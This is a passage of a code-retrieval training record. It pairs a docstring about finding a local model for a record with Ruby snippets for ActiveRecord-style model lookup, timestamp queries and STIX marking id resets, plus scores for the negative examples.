normal.tlp_marking_structure\n normal.tlp_marking_structure.stix_marking_id = normal.stix_id\n\n # reset stix_id/guid to normal\n normal.tlp_marking_structure.stix_id = normal.tlp_marking_structure.stix_id.slice(0, normal.tlp_marking_structure.stix_id.length - Setting.READ_ONLY_EXT.length)\n normal.tlp_marking_structure.guid = normal.tlp_marking_structure.guid.slice(0, normal.tlp_marking_structure.guid.length - Setting.READ_ONLY_EXT.length)\n normal.tlp_marking_structure.stix_id = normal.tlp_marking_structure.stix_id.include?(Setting.READ_ONLY_EXT) ? normal.tlp_marking_structure.stix_id.slice(0, normal.tlp_marking_structure.stix_id.length - Setting.READ_ONLY_EXT.length) : normal.tlp_marking_structure.stix_id\n normal.tlp_marking_structure.guid = normal.tlp_marking_structure.guid.include?(Setting.READ_ONLY_EXT) ? normal.tlp_marking_structure.guid.slice(0, normal.tlp_marking_structure.guid.length - Setting.READ_ONLY_EXT.length) : normal.tlp_marking_structure.guid\n end\n if normal.ais_consent_marking_structure\n normal.ais_consent_marking_structure.stix_marking_id = normal.stix_id\n\n # reset stix_id/guid to normal\n normal.ais_consent_marking_structure.stix_id = normal.ais_consent_marking_structure.stix_id.slice(0, normal.ais_consent_marking_structure.stix_id.length - Setting.READ_ONLY_EXT.length)\n normal.ais_consent_marking_structure.guid = normal.ais_consent_marking_structure.guid.slice(0, normal.ais_consent_marking_structure.guid.length - Setting.READ_ONLY_EXT.length)\n normal.ais_consent_marking_structure.stix_id = normal.ais_consent_marking_structure.stix_id.include?(Setting.READ_ONLY_EXT) ? normal.ais_consent_marking_structure.stix_id.slice(0, normal.ais_consent_marking_structure.stix_id.length - Setting.READ_ONLY_EXT.length) : normal.ais_consent_marking_structure.stix_id\n normal.ais_consent_marking_structure.guid = normal.ais_consent_marking_structure.guid.include?(Setting.READ_ONLY_EXT) ? normal.ais_consent_marking_structure.guid.slice(0, normal.ais_consent_marking_structure.guid.length - Setting.READ_ONLY_EXT.length) : normal.ais_consent_marking_structure.guid\n end\n end\n end\n\n if obj.respond_to?(:stix_id)\n obj.stix_id = original_id\n end\n \n if obj.respond_to?(:cybox_object_id)\n # set all the observables/parameter observables back to normal\n obj_observables = to_save.select {|d| d.respond_to?(:remote_object_id) && (d.remote_object_id == obj.cybox_object_id || d.remote_object_id == obj.cybox_object_id + Setting.READ_ONLY_EXT)}\n # you must get observables before resetting id\n # reset the id\n obj.cybox_object_id = obj.cybox_object_id && obj.cybox_object_id.include?(Setting.READ_ONLY_EXT) ? obj.cybox_object_id.slice(0, obj.cybox_object_id.length - Setting.READ_ONLY_EXT.length) : obj.cybox_object_id\n if obj_observables.present?\n obj_observables.each do |o|\n o.cybox_object_id = o.cybox_object_id && o.cybox_object_id.include?(Setting.READ_ONLY_EXT) ? o.cybox_object_id.slice(0, o.cybox_object_id.length - Setting.READ_ONLY_EXT.length) : o.cybox_object_id\n o.remote_object_id = original_id\n end\n end\n\n old_cybox = to_save.select {|o| o.respond_to?(:cybox_object_id) && o.cybox_object_id == obj.cybox_object_id }\n\n # spoof the swap if needed function so we can use it than set the read only back to true\n old_cybox[0] = IngestUtilities.spoof_swap(uploaded_file, old_cybox[0], old_cybox[0].read_only, uploaded_file.read_only, uploaded_file.overwrite, to_save)\n \n # We need both in them because we have a method that removes the one without an id later.\n if old_cybox[0].id != nil\n unless to_save.include?(old_cybox[0])\n to_save << old_cybox[0]\n end\n end\n\n to_save = self.destroy_old_objs(old_cybox[0], to_save)\n end\n\n if obj.respond_to?(:guid) && obj.guid.present?\n obj.guid = original_guid\n end\n\n to_save = self.destroy_old_objs(obj, to_save)\n\n to_save\n end", "def update_any_data?\n add_name? || add_events? || set_wheel_sizes? || add_volunteers? || add_contact_details? || lodging? || expenses? || set_organization_membership?\n end" ]
[ "0.65047795", "0.6364017", "0.6276332", "0.61550593", "0.5994225", "0.5994225", "0.59936094", "0.5985979", "0.58235455", "0.5812989", "0.576609", "0.5761472", "0.5734064", "0.5731392", "0.5731276", "0.5718567", "0.5709049", "0.5705286", "0.5704292", "0.5647444", "0.56390554", "0.56286275", "0.56279343", "0.56204265", "0.560615", "0.5594962", "0.5584518", "0.5581895", "0.5581419", "0.55814093", "0.556857", "0.55681944", "0.5567215", "0.555904", "0.5556089", "0.5541501", "0.55411947", "0.55377567", "0.5536006", "0.5528697", "0.5528697", "0.5528697", "0.552725", "0.55081236", "0.5501403", "0.5489499", "0.5489375", "0.54804033", "0.54507655", "0.5449212", "0.5445502", "0.54435253", "0.5441257", "0.5439504", "0.543726", "0.54371387", "0.54356754", "0.5433097", "0.5429793", "0.54208654", "0.541932", "0.5406783", "0.5402664", "0.5400788", "0.5398182", "0.539253", "0.5379818", "0.53766155", "0.5376244", "0.53726757", "0.53708464", "0.53685963", "0.53681326", "0.5366348", "0.53642523", "0.5358901", "0.5349595", "0.53443485", "0.5342735", "0.53417146", "0.533649", "0.5333219", "0.53325844", "0.5327775", "0.5321666", "0.53190535", "0.53179336", "0.53172237", "0.5315252", "0.5314005", "0.53130156", "0.5312477", "0.5308634", "0.5306119", "0.53046036", "0.5297776", "0.52949744", "0.5293052", "0.52929574", "0.5291668" ]
0.61187327
4
Responsible for finding the local model for this record It is up to the subclass to determine lookup logic or to create a new model if none is found. If nil is returned, the task won't attempt to process the record
def find_model(record) raise_must_override end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def local_model(parent_model, name)\n Roby::Distributed::DRobyModel.anon_model_factory(parent_model, name)\n end", "def find_record\n self.class.model_klass.find(params[:id])\n end", "def find_existing_record\n @record = record_class.find(@locator)\n end", "def find_existing_record\n @record = record_class.find(@locator)\n end", "def method_missing msg, *args, &block\n model = begin;\n Object.const_get msg\n rescue NameError\n end\n \n if model and model.respond_to?(:descends_from_active_record?) and model.descends_from_active_record?\n model.find args.first\n else\n super\n end\nend", "def get_model_target exp\n if call? exp\n target = exp.target\n\n if COLLECTION_METHODS.include? exp.method or exp.method.to_s[0, 4] == \"find\"\n models = Set.new @tracker.models.keys\n name = class_name target\n return target if models.include?(name)\n end\n\n return get_model_target(target)\n end\n\n false\n end", "def find_record_by(model)\n raise_must_override\n end", "def lookup(name)\n if @map[name]\n @map[name]\n else\n # Descendant classes should be loaded for this to work\n @klass.descendants.each do |klass|\n proto_model = klass.factory.lookup(name)\n return proto_model if proto_model\n end\n \n nil\n end\n end", "def fetch_model\n model_name.camelize.constantize.find( params[:id] )\n end", "def find( model, name )\n model( model )[name ] rescue nil\n end", "def resolve_model(a_name)\n name = a_name.to_s.singularize.to_sym\n if m = find_model(name)\n return m\n end\n model(name) { no_controller }\n end", "def find_record\n @record ||= model.find_by_id(params[:id])\n end", "def find(id, options = {})\n if model = find_locally(id)\n model\n else\n adapter(model_class).find(id, options)\n end\n end", "def get_model(model_type, name)\n klass = class_for_type(model_type)\n result = model_store.get(klass, name) || Backyard.global_store.model_store.get(klass, name)\n if result.nil? && Backyard.name_based_database_lookup\n result = find_model_from_database(klass, name)\n put_model(result, name) if result\n result\n else\n reload_model(result)\n end\n end", "def get_model(from_get_recordset: false)\n return @model if instance_variable_defined?(:@model) && @model\n return (@model = self.class.model) if self.class.model\n\n # Delegate to the recordset's model, if it's defined.\n unless from_get_recordset # prevent infinite recursion\n if (recordset = self.get_recordset)\n return @model = recordset.klass\n end\n end\n\n # Try to determine model from controller name.\n begin\n return (@model = self.class.name.demodulize.match(/(.*)Controller/)[1].singularize.constantize)\n rescue NameError\n end\n\n return nil\n end", "def model_from_worker id\n find_worker(id)[:model].to_s.safe_constantize if worker_exists?(id)\n end", "def find_record\n self.class.resource_model.find(params[:id])\n end", "def find\n super.first\n end", "def get_loaded_model_by_path(model_path); end", "def find_record(id)\n @model_class.find(id)\n end", "def find_record(id)\n @model_class.find(id)\n end", "def find_one\n return super if params[klass.primary_key].present?\n @find_one ||= klass.new_collection_from_result(limit(1).fetch).first\n rescue ::Spyke::ConnectionError => error\n fallback_or_reraise(error, default: nil)\n end", "def load_provider_model\n @provider_info_model ||= provider_infos.first\n end", "def find_or_initialize(id, friendly: false)\n friendly ? friendly_find(id) : model.find(id)\n rescue ::ActiveRecord::RecordNotFound\n model.new\n end", "def parent_model_find(parent_param)\n return parent_model.find(parent_param) if parent_param.is_integer?\n parent_model.find_by_param!(parent_param)\n end", "def get!(key)\n model = get(key)\n return model if model\n\n raise ActiveRecord::ShardFor::RecordNotFound\n end", "def dynamic_model(no_check: nil)\n return @dynamic_model if @dynamic_model\n\n schema_name, table_name = schema_and_table_name\n name = table_name.singularize\n\n @dynamic_model = DynamicModel.active.where(name: name, category: category, schema_name: schema_name).first\n return if !no_check && !dynamic_model_ready?\n\n @dynamic_model\n end", "def find_model_argument(*args)\n # First a valid model object is searched for.\n model = args.find { |arg|\n arg.is_a?(Sketchup::Model) && model.valid?\n }\n # Then we look for objects that might return a valid model object.\n unless model\n entity ||= args.find { |arg|\n arg.respond_to?(:model) &&\n arg.model.is_a?(Sketchup::Model) && arg.model.valid?\n }\n if entity\n model = entity.model\n end\n end\n # We should only return valid objects.\n unless model && model.valid?\n return nil\n end\n model\n end", "def model( resource = nil )\n resource ||= self.class.basename.snake_case\n app::Models[ resource ]\n end", "def retrieve_entity\n if self.id\n @entity = Deltacloud::Database::Entity::retrieve(@model)\n if @entity.exists?\n after_retrieve\n end\n else\n @entity = nil\n end\n end", "def model\n @model ||= if self.class.path_to_model\n m = eval(self.class.path_to_model)\n if m\n if m.respond_to?(:_controller=)\n m.send(:_controller=, self)\n end\n else\n fail \"No model object found at path: #{self.class.path_to_model}\"\n end\n m\n end\n end", "def get_record\n recordset = self.get_recordset\n find_by_fields = self.get_find_by_fields\n find_by_key = self.get_model.primary_key\n\n # Find by another column if it's permitted.\n if find_by_query_param && params[find_by_query_param].in?(find_by_fields)\n find_by_key = params[find_by_query_param]\n end\n\n # Filter recordset, if configured.\n if self.filter_recordset_before_find\n recordset = self.get_filtered_data(recordset)\n end\n\n # Return the record.\n if find_by_value = params[:id] # Route key is always :id by Rails convention.\n return self.get_recordset.find_by!(find_by_key => find_by_value)\n end\n return nil\n end", "def find_existing_record(klass, obj_hash, importer: nil)\n if klass == User\n # The index for css_id has an odd column name plus find_by_css_id is faster.\n User.find_by_css_id(obj_hash[\"css_id\"])\n elsif klass == Organization\n # The url may need to be converted into a clean url\n Organization.unscoped.find_by_url(obj_hash[\"url\"])\n elsif klass == Appeal\n # uuid is not a uniq index, so can't rely on importer to do it automatically\n Appeal.find_by(uuid: obj_hash[\"uuid\"])\n elsif [Organization, Veteran, Person].include?(klass)\n # Let importer find it using the fallback: klass.unscoped.find_by(unique_field: obj_hash[unique_field])\n nil\n end\n end", "def model\n @model ||= resource.model\n end", "def find_model(name)\n @models[name.to_s.downcase.to_sym]\n end", "def find_or_create_model\n raise DirectorError, 'Deployment model is not bound' if @deployment_model.nil?\n\n conditions = {\n deployment_id: @deployment_model.id,\n job: @instance_group_name,\n index: @index,\n }\n\n Models::Instance.find_or_create(conditions) do |model|\n model.state = 'started'\n model.compilation = @compilation\n model.uuid = SecureRandom.uuid\n model.variable_set_id = @deployment_model.current_variable_set.id\n end\n end", "def load_model(mid)\n url = Configuration::PROPERTIES.get_property :url\n url_get_records = Configuration::PROPERTIES.get_property :url_get_model_info\n\n url_get_records = url_get_records.gsub '{csk}', URI::encode(@credential[:csk])\n url_get_records = url_get_records.gsub '{aci}', URI::encode(@credential[:aci])\n url_get_records = url_get_records.gsub '{mid}', mid.to_s\n\n response = DynamicService::ServiceCaller.call_service url + url_get_records, {}, 'get'\n\n json = JSON.parse(response)\n unless json['status'] == 200\n raise json['message']\n end\n\n model = Dynamicloud::API::Model::RecordModel.new mid\n model.name = json['name']\n model.description = json['description']\n\n model\n end", "def find_model(name)\n ole = ole_obj.Models(name)\n model_from_ole(ole)\n rescue\n puts \"model #{name} not found\"\n nil\n end", "def present_model\n if @model.nil?\n raise DirectorError, \"Job '#{@name}' model is unbound\"\n end\n @model\n end", "def obj\n @obj ||= master_class.find(remote_id)\n end", "def find(id)\n # Used where so no exception will be raised if the instance\n # does not exist.\n @model.unscoped.where(@model_data['mappings']['id'].to_sym => id).first\n end", "def load_model_for_grid\n if params[\"model_id\"]\n @model_for_grid = @pool.models.find(params[\"model_id\"])\n else\n #if (params[:format].nil? || params[:format] == \"html\") && params[\"view\"] != \"browse\"\n if params[\"view\"] == \"grid\"\n @model_for_grid = @pool.models.first\n end\n end\n end", "def find\n model_class.filterrific_find(self)\n end", "def buildModel(json)\n classname = name.downcase\n\n model = where(\"id\").eq(json[\"id\"]).first\n if model.present?\n if model.wrap(json)\n model.lastSyncAt = Time.now if model.respond_to?(:lastSyncAt)\n return model\n end\n else\n newModel = self.new\n return newModel if newModel.wrap(json)\n end\n\n return nil\n end", "def parent_model\n return @parent_model if @parent_model\n\n if parent_model_name && parent_model_class\n parent_id_param = \"#{parent_model_name}_id\"\n if params[parent_id_param]\n @parent_model = parent_model_class.find_by(find_parent_by => params[parent_id_param])\n end\n end\n\n @parent_model\n end", "def get_mobj(mname=nil) @model_class.instance; end", "def find_model_for_archive\n @archivable_model = get_model_name.classify.constantize.find params[:id] # rescue nil\n end", "def lookup(arg)\n instance = lookup_without_default(arg)\n instance ||= build_default(arg)\n\n instance.send(\"#{owner_class_sym}=\", @owner) if @owner.new_record?\n\n instance\n end", "def model_for_step(step)\n raise_no_model_for_step(step)\n end", "def model\n nil\n end", "def model\n nil\n end", "def internal_resource\n solr_document.fetch(Valkyrie::Persistence::Solr::Queries::MODEL).first\n end", "def find id\n model.find id\n end", "def primary_model\n return @primary_model if @primary_model\n\n @primary_model = if class_parent_name != 'Object'\n \"#{class_parent_name}::#{object_name.camelize}\".constantize\n else\n controller_name.classify.constantize\n end\n end", "def primary_model\n case params[:retrieval_type]\n when 'stored_file'\n NfsStore::Manage::StoredFile\n when 'archived_file'\n NfsStore::Manage::ArchivedFile\n else\n raise FphsException, 'No retrieval_type set'\n end\n end", "def get_loaded_model(model_path, file); end", "def fetch_record_by_param\n model.find(params[:id])\n end", "def model(name_or_type)\n table = Brief::Model.table\n\n table.fetch(name_or_type) do\n table.values.find do |k|\n k.name == name_or_type\n end\n end\n end", "def model(name_or_type)\n table = Brief::Model.table\n\n table.fetch(name_or_type) do\n table.values.find do |k|\n k.name == name_or_type\n end\n end\n end", "def find(model, id)\n key = model.primary_key\n condition = {\"#{key}\" => id}\n data = store.read(condition, table: table_name).first\n fail RecordNotFound.new(condition, table_name) unless data\n\n model.new data\n end", "def model\n self.class.const_get(:MODEL)\n end", "def load_model model_name=nil\n get_schema.load_model(self.get_instance, model_name)\n end", "def find_one(opts={})\n unless @site\n document = super\n return nil if document.nil?\n @constructor.load(document)\n else\n query = clone.amend(opts)\n \n # construct the criteria hash, and remove the keys allowed by a cacheable lookup\n criteria_hash = query.criteria.to_hash\n id = criteria_hash[:_id]\n keys = criteria_hash.keys\n keys -= [:_id, :_site_id, :model]\n \n # queries are cacheable if they are looking for a single ID\n cacheable = !id.nil? && id.is_a?(BSON::ObjectId) && keys.empty?\n \n # lookup the record in the cache\n if cacheable\n record = @site.cached_records[id]\n return record unless record.nil?\n end\n \n # lookup failed, so perform a query\n record = query.collection.find_one(criteria_hash, query.options.to_hash)\n if record\n record = @constructor.load(@site, record)\n @site.cached_records[id] = record if cacheable\n end\n \n record\n end\n end", "def _find_record(options)\n if options && options[:lock]\n self.class.preload(strict_loaded_associations).lock(options[:lock]).find_by!(hid: hid)\n else\n self.class.preload(strict_loaded_associations).find_by!(hid: hid)\n end\n end", "def lookup(taskPath, initial_scope=nil)\n task = nil\n \n projectPath, name = GetProjectFilePathName(taskPath)\n \n if(projectPath != nil)\n # return the project file specific task\n projectFile = @ProjectFileLoader.LoadedProjectFile(projectPath.RelativePath)\n if(!projectFile)\n return task\n end\n task = projectFile.lookup(name, initial_scope)\n else\n # return the first task that is found in any project file\n @ProjectFileLoader.LoadedProjectFiles().each do |projFile|\n task = projFile.lookup(name, initial_scope)\n if(task != nil)\n break\n end\n end\n end\n return task\n end", "def model\n @model ||= operation.run\n end", "def resolve(model)\n __method = __method__\n # trace __FILE__, __LINE__, self, __method, \" : assoc: type=#{type} attr=#{local_attr} collection=#{collection} model.class=#{model.class}\"\n associated = model.instance_variable_get(\"@#{local_attr}\") # back door otherwise we chase our tail\n if associated\n if foreign_class.cached?\n associated\n else\n Robe::Promise.value(associated)\n end\n else\n local_key_value = model.send(local_key)\n if local_key_value\n filter = { foreign_key => local_key_value }\n # trace __FILE__, __LINE__, self, __method, \" : calling #{foreign_class}.send(#{find_method}, #{filter})\"\n associated = foreign_class.send(find_method, **filter)\n if foreign_class.cached?\n model.instance_variable_set(:\"@#{local_attr}\", associated)\n else\n associated.then do |associated|\n if associated\n model.instance_variable_set(:\"@#{local_attr}\", associated)\n handle_belongs_to(model, associated)\n end\n associated\n end\n end\n else\n foreign_class.cached? ? nil : Robe::Promise.value(nil)\n end\n end\n end", "def first\n @model_class.first\n end", "def first\n @model_class.first\n end", "def entity load=true\n @entity ||= (klass.where(id: id).first if load)\n end", "def get_model\n # the base uri for api requests\n _query_builder = Configuration.base_uri.dup\n\n # prepare query string for API call\n _query_builder << '/response/model'\n\n # validate and preprocess url\n _query_url = APIHelper.clean_url _query_builder\n\n # prepare headers\n _headers = {\n 'user-agent' => 'Stamplay SDK',\n 'accept' => 'application/json'\n }\n\n # Create the HttpRequest object for the call\n _http_request = @http_client.get _query_url, headers: _headers\n \n # Call the on_before_request callback\n @http_call_back.on_before_request(_http_request) if @http_call_back\n\n # Invoke the API call and get the response\n _response = @http_client.execute_as_string(_http_request)\n\n # Call the on_after_response callback\n @http_call_back.on_after_response(_response) if @http_call_back\n\n # Endpoint error handling using HTTP status codes.\n if _response.status_code == 404\n return nil\n end\n\n # Global error handling using HTTP status codes.\n validate_response(_response)\n\n # Return appropriate response type\n decoded = APIHelper.json_deserialize(_response.raw_body)\n return Employee.from_hash(decoded)\n end", "def get_model( options )\n return options[:model] if options[:model]\n return options[:node].getModel if options[:node] && options[:node].resource? && options[:node].getModel\n default_model\n end", "def fullfilled_model\n explicit_fullfilled_model || implicit_fullfilled_model\n end", "def find_locally(id)\n if @all.present?\n @all.find { |model| model.id == id }\n end\n end", "def get_model\n return model_classes[item_type].new()\n end", "def single_record!\n if use_eager_all?\n obj = clone(:all_called=>true).all.first\n\n if opts[:eager_graph]\n obj = clone(:all_called=>true).where(obj.qualified_pk_hash).unlimited.all.first\n end\n\n obj\n else\n super\n end\n end", "def model\n __getobj__\n end", "def find_referring_record\n return unless @ref_record_type\n\n ref_item_class_name = @ref_record_type.singularize.camelize\n\n # Find the matching UserBase subclass that has this name, avoiding using the supplied param\n # in a way that could be risky by allowing code injection\n ic = UserBase.class_from_name ref_item_class_name\n\n # Look up the item using the item_id parameter.\n @referring_record = ic.find(@ref_record_id.to_i)\n @referring_record.current_user = current_user\n @referring_record\n end", "def model\n @model ||= Model.new(self)\n end", "def model(a_name, &block)\n name = a_name.to_s.singularize.to_sym\n if m = find_model(name)\n m.instance_eval &block if block_given?\n return m\n end\n new_model(name, &block)\n end", "def model_class\n self.class.const_get('MODEL')\n end", "def get_model dataset_id, model_id\n get_project_model @project, dataset_id, model_id\n end", "def default_model()\n nil\n end", "def find_record_from_identifier(entity)\n model = entity.model\n user_token = request.headers[\"X-#{model.to_s.upcase}-TOKEN\"]\n super if model != User || user_token.blank?\n model.find_by authentication_token: user_token\n end", "def record\n @record ||= if request.path_parameters[:id]\n controller_name.classify.constantize.find_by(id: request.path_parameters[:id])\n end\n end", "def get_model\n # Prepare query url.\n _query_builder = config.get_base_uri\n _query_builder << '/response/model'\n _query_url = APIHelper.clean_url _query_builder\n\n # Prepare headers.\n _headers = {\n 'accept' => 'application/json'\n }\n\n # Prepare and execute HttpRequest.\n _request = config.http_client.get(\n _query_url,\n headers: _headers\n )\n _response = execute_request(_request)\n\n # Validate response against endpoint and global error codes.\n return nil if _response.status_code == 404\n validate_response(_response)\n\n # Return appropriate response type.\n decoded = APIHelper.json_deserialize(_response.raw_body)\n Person.from_hash(decoded)\n end", "def model_class\n return @model_class || self.class.model_class\n end", "def model(name=nil)\n @model ||= VCAP::CloudController.const_get(model_class_name(name))\n end", "def find_model_from_item(item)\n @items_to_models[item]\n end", "def model name, **params\n # <<- CLOSURE_SCOPE\n current = @current # closure scope\n params = @environs.merge params if @environs\n filled_or_maybe = optionality(params)\n params[:class] ||= name.to_s.gsub(/(?:\\A|_)./) { |m| m[-1].upcase }\n # CLOSURE_SCOPE\n\n schema do\n __send__(current, name).__send__(filled_or_maybe, model?: params[:class])\n end\n\n define_helper_methods name\n end", "def parent_object\n #todoable = \n # case\n # when params[:user_id] then User.find(params[:user_id])\n # when params[:project_id] then Project.find(params[:project_id])\n # #when params[:todo_template_id] then TodoTemplate.find(params[:todo_template_id])\n # end \n todoable = Project.find(params[:project_id]) if params[:project_id]\n raise ActiveRecord::RecordNotFound, \"TODO association not FOUND! \" if !todoable\n \n return todoable\n end", "def model\n self.class.model\n end", "def model\n self.class.model\n end", "def get_task_record(task)\n task = Task.find(task)\n end", "def model_class\n self.class.models[implementation_model_name]\n end", "def read\n r = interface.read(@model_id)\n\n if r.empty?\n add_alert(:error, \"Record ID '#@model_id' not found on the data source\")\n else\n map_to_model(r)\n run_validation(:read)\n @model_status = :okay if @model_status == :unknown\n end\n\n self\n rescue Pod4::WeakError\n add_alert(:error, $!)\n self\n end", "def find_resource\n if parent_data.present?\n parent.send(collection_name).find(params[:id])\n else\n model_class.find_by!(account_id: current_account.id, id: params[:id])\n end\n end", "def find_model_class_by(params)\n model_class = Map.model_class_map params[:resources]\n return model_class unless MODEL_ACTIONS.include? params[:action].to_sym\n raise ModelNotFound, params[:resources] unless model_class\n unless Map.mode_map[model_class]\n raise UnprocessableEntity, Locale.t('errors.unprocessable_entity.model', model: model_class)\n end\n\n model_class\n end", "def model\n self::Model\n end", "def existing\n return self.class.find_by_unique_id(unique_id)\n end" ]
[ "0.603749", "0.5995005", "0.59848475", "0.59848475", "0.5949274", "0.5848526", "0.58224106", "0.58140403", "0.576883", "0.5757326", "0.57531077", "0.57494634", "0.5748348", "0.574255", "0.5742007", "0.5713181", "0.5692753", "0.56859833", "0.567968", "0.56624115", "0.56624115", "0.5658359", "0.5644617", "0.5612195", "0.5573527", "0.55683863", "0.5543758", "0.5539511", "0.5533188", "0.5532476", "0.5532159", "0.5514835", "0.5477566", "0.5462082", "0.5460786", "0.5456495", "0.5453499", "0.544998", "0.5433772", "0.54187775", "0.5417816", "0.5417311", "0.5398171", "0.53932315", "0.53824496", "0.5382048", "0.53792566", "0.53738135", "0.5370328", "0.53689927", "0.53689927", "0.53622174", "0.5359582", "0.53536767", "0.5345703", "0.53372467", "0.5330698", "0.533041", "0.533041", "0.5328661", "0.53131855", "0.5312536", "0.53069353", "0.52899027", "0.5278986", "0.52741045", "0.52736294", "0.52643883", "0.52643883", "0.5261871", "0.52618116", "0.5261595", "0.52562433", "0.52503335", "0.52488625", "0.5241005", "0.5238666", "0.5227147", "0.5221781", "0.52195513", "0.51944345", "0.51861274", "0.5174283", "0.5173802", "0.5171558", "0.51645833", "0.51608354", "0.5158855", "0.5155095", "0.51531583", "0.51509064", "0.514259", "0.514259", "0.5139308", "0.5138859", "0.51382726", "0.5130657", "0.512156", "0.5118742", "0.51181614" ]
0.61807853
0
Query local models based on last_updated timestamp
def find_models raise_must_override end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def last_updated\n self.dig_for_datetime(\"lastUpdateOn\")\n end", "def latest_stored_update\n active_model_configurations\n .select(:updated_at)\n .reorder('')\n .order('updated_at desc nulls last')\n .limit(1)\n .pluck(:updated_at)\n .first\n end", "def find_last_updated_mir\n @team.meeting_individual_results.exists? ? @team.meeting_individual_results.sort_by_updated_at('DESC').first.updated_at : 0\n end", "def status\n statuses.find(:first, :order => \"updated_at DESC\")\n end", "def documents_by_updated\n Document.find(:all, :conditions => {:category_id => self.id}, :order => 'updated_at DESC')\n end", "def get_updated_times\n @last_updated_time = Event.last_updated_datetime.to_s(:timepart)\n @last_updated_date = Event.last_updated_datetime.to_s(:listing_date)\n @last_updated_datetime = Event.last_updated_datetime\n end", "def find_last_updated_mir\n @max_updated_at = @swimmer.meeting_individual_results.exists? ? @swimmer.meeting_individual_results.sort_by_updated_at('DESC').first.updated_at : 0\n end", "def last_updated\n\t\tupdated_at\n\tend", "def index\n @people = Person.scoped\n\n # Add last_modified header based on @people last update time.record\n # public value implies the cache can be stored in a proxy as Rack::Cache\n fresh_when last_modified: @people.maximum(:updated_at), public: true\n end", "def outdated\n self_class.where(activity_column => ..outdated_last_reboot)\n end", "def retrieve_records_for_push(model, database_offset, database)\n if model == User\n model.unscoped.where('date_created >= :time OR date_changed >= :time OR date_retired >= :time', time: database_offset.to_s)\n elsif immutable_model?(model)\n # HACK: person address seems to be missing `date_changed` field so we\n # fall back to the existing `date_created`\n model.unscoped.where('date_created >= :time OR date_voided >= :time', time: database_offset.to_s)\n elsif model == DrugOrder\n # DrugOrder lacks date_changed and date_created fields. We instead use\n # the parent Order's date_created.\n model.unscoped\\\n .joins('INNER JOIN orders ON orders.order_id = drug_order.order_id')\\\n .where('date_created >= :time OR date_voided >= :time', time: database_offset.to_s)\n else\n model.unscoped.where('date_changed >= :time OR date_created >= :time OR date_voided >= :time', time: database_offset)\n end\n end", "def index\n @updates = DatabaseUpdate.all(:order => \"created_at DESC\")\n end", "def updated_on\n updated_at\n end", "def records_modified_since(time)\n condition = []\n %w(updated_at created_at).each do |col|\n condition << \"#{col} >= ?\" if column_names.include? col\n end\n if condition.empty?\n logger.warn \"#{self.name}: Override records_modified_since(time) to keep the index up to date with records changed during rebuild.\"\n []\n else\n find :all, :conditions => [ condition.join(' AND '), *([time]*condition.size) ]\n end\n end", "def timestamp_attributes_for_update\n ['last_activity']\n end", "def history_timestamps\n self.class.history.timestamps do |query|\n query.where(:id => self)\n end\n end", "def latest\n @latest = apiQuery(\"items(first:1, order:UPDATED_DESC, include:[PUBLISHED,EMBARGOED]) { nodes { updated } }\").\n dig(\"items\", \"nodes\", 0, \"updated\")\n end", "def last_updated_at\n if cache\n @last_updated_at ||= remote_last_updated_at\n else\n remote_last_updated_at\n end\n end", "def find_target_items\n last_job_at = Time.parse(get_config(\"TIME_LAST_INDEX_JOB\") || Time.now.yesterday.to_s)\n debug \"last_job_at = #{last_job_at}\"\n Item.valid.all(:conditions=>[\"indexed_at is null or (updated_at > ? and updated_at > indexed_at)\",last_job_at])\n end", "def timestamps\n assocs = reflect_on_all_associations.select {|a|\n [:belongs_to, :has_one, :has_many].include?(a.macro) && a.klass.chrono?\n }\n\n models = [self].concat(assocs.map {|a| a.klass.history})\n fields = models.inject([]) {|a,m| a.concat m.quoted_history_fields}\n\n relation = self.\n joins(*assocs.map(&:name)).\n select(\"DISTINCT UNNEST(ARRAY[#{fields.join(',')}]) AS ts\").\n order('ts')\n\n relation = yield relation if block_given?\n\n sql = \"SELECT ts FROM ( #{relation.to_sql} ) foo WHERE ts IS NOT NULL AND ts < NOW()\"\n sql.gsub! 'INNER JOIN', 'LEFT OUTER JOIN'\n\n connection.on_schema(Adapter::HISTORY_SCHEMA) do\n connection.select_values(sql, \"#{self.name} periods\").map! do |ts|\n Conversions.string_to_utc_time ts\n end\n end\n end", "def timestamp\n begin\n max=model.max(:updated_at)\n #rescue PG::Error => err\n rescue => err\n # puts \" error was #{err}\"\n # if we get an error, just assume we need to update the table\n return Rake::EARLY\n end\n # this is embarassing, but rake doesn't have a way to say\n # that this thing is more recently updated than anything else\n max.nil? ? Time.parse('Dec 31, 9999') : max\n end", "def latest_update\n\t\tlatest_update = updated_at\n\t\tplans.each do |plan|\n\t\t\tif plan.latest_update > latest_update then\n\t\t\t\tlatest_update = plan.latest_update\n\t\t\tend\n\t\tend\n\t\treturn latest_update\n\tend", "def last_updated_at\n @last_updated_at\n end", "def update \n update = object.updated_at\n end", "def results_updated_at\n Result.where(race_id: races.map(&:id)).maximum(:updated_at)\n end", "def update_status_timestamp\n self.overall_status_modified_at = Time.zone.now\n end", "def last_updated\n time = self.updated_at\n if time < Time.now - (3600 * 24)\n time.strftime(\"%b %-d, %Y\")\n else\n time.strftime(\"%l:%M %p\")\n end\n end", "def updated\n watchers.find_all(&:updated?)\n end", "def feed_after(latest_update) \n\tif latest_update.present? \n\t\tself.feed.where(\"microposts.updated_at > ?\", latest_update)\n\tend\n end", "def index\n @things = Thing.all.order('updated_at DESC')\n end", "def index\n @recent_objects = Serial.order(updated_at: :desc).limit(10)\n end", "def outdated_list(sort_order: { created_at: :desc })\n outdated.order(sort_order)\n end", "def remote_last_updated_at\n require 'rexml/document'\n doc = REXML::Document.new(request('update'))\n Time.iso8601(doc.root.attributes['time'])\n end", "def refresh\n update_attributes({:updated_at => DateTime.parse(Time.now.to_s)})\n end", "def search_result\n klass.where(\"object_id = ? AND object_type = ? AND timestamp <= ?\", object_id, object_type, timestamp).order(:timestamp)\n end", "def records_modified_since(time)\n []\n end", "def index\n @recent_objects = Note.where(project_id: $project_id).order(updated_at: :desc).limit(10)\n end", "def updated_time( params={} )\n updated_time = get_connections(\"updated_time\", params)\n return map_connections updated_time, :to => Facebook::Graph::Generic\n end", "def last_updated\n f = Folder.where(:id => params['id']).first\n render json: f.nil? ? \"unknown\" : f.updated_at\n end", "def make_last_revision_earlier(model)\n Revision.record_timestamps = false\n model.revisions.last.update_attributes :created_at => 2.seconds.ago\n Revision.record_timestamps = true\n end", "def retrieve_records_for_dump(model, database_offset, database)\n if model == User\n where_conditions = <<~SQL\n (date_created >= :time OR date_changed >= :time OR date_retired >= 